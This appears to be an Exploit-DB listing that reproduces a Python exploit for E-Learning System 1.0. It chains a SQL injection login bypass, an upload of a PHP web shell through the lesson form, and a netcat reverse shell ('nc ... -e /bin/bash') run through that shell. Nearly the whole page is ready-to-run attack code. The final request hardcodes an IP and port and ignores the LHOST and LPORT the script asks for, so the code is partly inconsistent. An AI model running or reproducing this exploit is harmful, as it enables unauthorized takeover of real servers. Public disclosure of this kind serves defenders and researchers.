E-Learning System 1.0 – Authentication Bypass

  • 作者: Himanshu Shukla
    日期: 2021-01-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49434/
  • # Exploit Title: E-Learning System 1.0 - Authentication Bypass & RCE
    # Exploit Author: Himanshu Shukla & Saurav Shukla
    # Date: 2021-01-15
    # Vendor Homepage: https://www.sourcecodester.com/php/12808/e-learning-system-using-phpmysqli.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/caiwl.zip
    # Version: 1.0
    # Tested On: Kali Linux + XAMPP 7.4.4
    # Description: E-Learning System 1.0 - Authentication Bypass Via SQL Injection + Remote Code Execution
    
    #Step 1: run the exploit in python with this command: python3 exploit.py
    #Step 2: Input the URL of the vulnerable application: Example: http://10.10.10.23/caiwl/
    #Step 3: Input your LHOST where you want the reverse shell: Example: 10.9.192.23
    #Step 4: Input your LPORT that is the port where the reverse shell will spawn: Example: 4444
    #Step 5: Start a Netcat Listener on the port specified in Step 4 using this command: nc -lnvp 4444
    #Step 6: Hit enter on theif your Netcat Listener is ready, and you will get a reverse shell as soon as you hit enter.
    
    import requests
    
    print('########################################################')
    print('## E-LEARNING SYSTEM 1.0##')
    print('## AUTHENTICATION BYPASS & REMOTE CODE EXECUTION##')
    print('########################################################')
    
    print('Author - Himanshu Shukla & Saurav Shukla')
    
    GREEN ='\033[32m' # Green Text
    RED ='\033[31m' # Red Text
    RESET = '\033[m' # reset to the defaults
    #Create a new session
    s = requests.Session() 
    
    #Set Cookie
    cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}
    
    LINK=input("Enter URL of The Vulnarable Application : ")
    
    #Authentication Bypass
    print("[*]Attempting Authentication Bypass...")
    values = {"user_email":"'or 1 or'", "user_pass":"lol","btnLogin":""}
    r=s.post(LINK+'admin/login.php', data=values, cookies=cookies) 
    
    r=s.post(LINK+'admin/login.php', data=values, cookies=cookies) 
    
    #Check if Authentication was bypassed or not.
    logged_in = True if("You login as Administrator." in r.text) else False
    l=logged_in
    if l:
    	print(GREEN+"[+]Authentication Bypass Successful!", RESET)
    else:
    	print(RED+"[-]Failed To Authenticate!", RESET)
    
    
    #Creating a PHP Web Shell
    
    phpshell= {
     'file': 
    (
     'shell.php', 
     '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
     'application/x-php', 
    {'Content-Disposition': 'form-data'}
    ) 
     }
    
    # Defining value for form data
    data = {'LessonChapter':'test', 'LessonTitle':'test','Category':'Docs','save':''}
    
    
    
    #Uploading Reverse Shell
    print("[*]Uploading PHP Shell For RCE...")
    upload = s.post(LINK+'/admin/modules/lesson/controller.php?action=add', cookies=cookies, files=phpshell, data=data, verify=False)
    
    shell_upload = True if("window.location='index.php'" in upload.text) else False
    u=shell_upload
    if u:
    	print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
    else:
    	print(RED+"[-]Failed To Upload The PHP Shell!", RESET)
    
    print("[*]Please Input Reverse Shell Details")
    LHOST=input("[*]LHOST : ")
    LPORT=input("[*]LPORT : ")
    
    print('[*]Start Your Netcat Listener With This Command : nc -lvnp '+LPORT)
    input('[*]Hit Enter if your netcat shell is ready. ')
    print('[+]Deploying The Web Shell...')
    
    
    #Executing The Webshell
    e=s.get('http://192.168.1.5/caiwl/admin/modules/lesson/files/shell.php?cmd=nc 192.168.1.2 9999 -e /bin/bash', cookies=cookies)
    
    exit()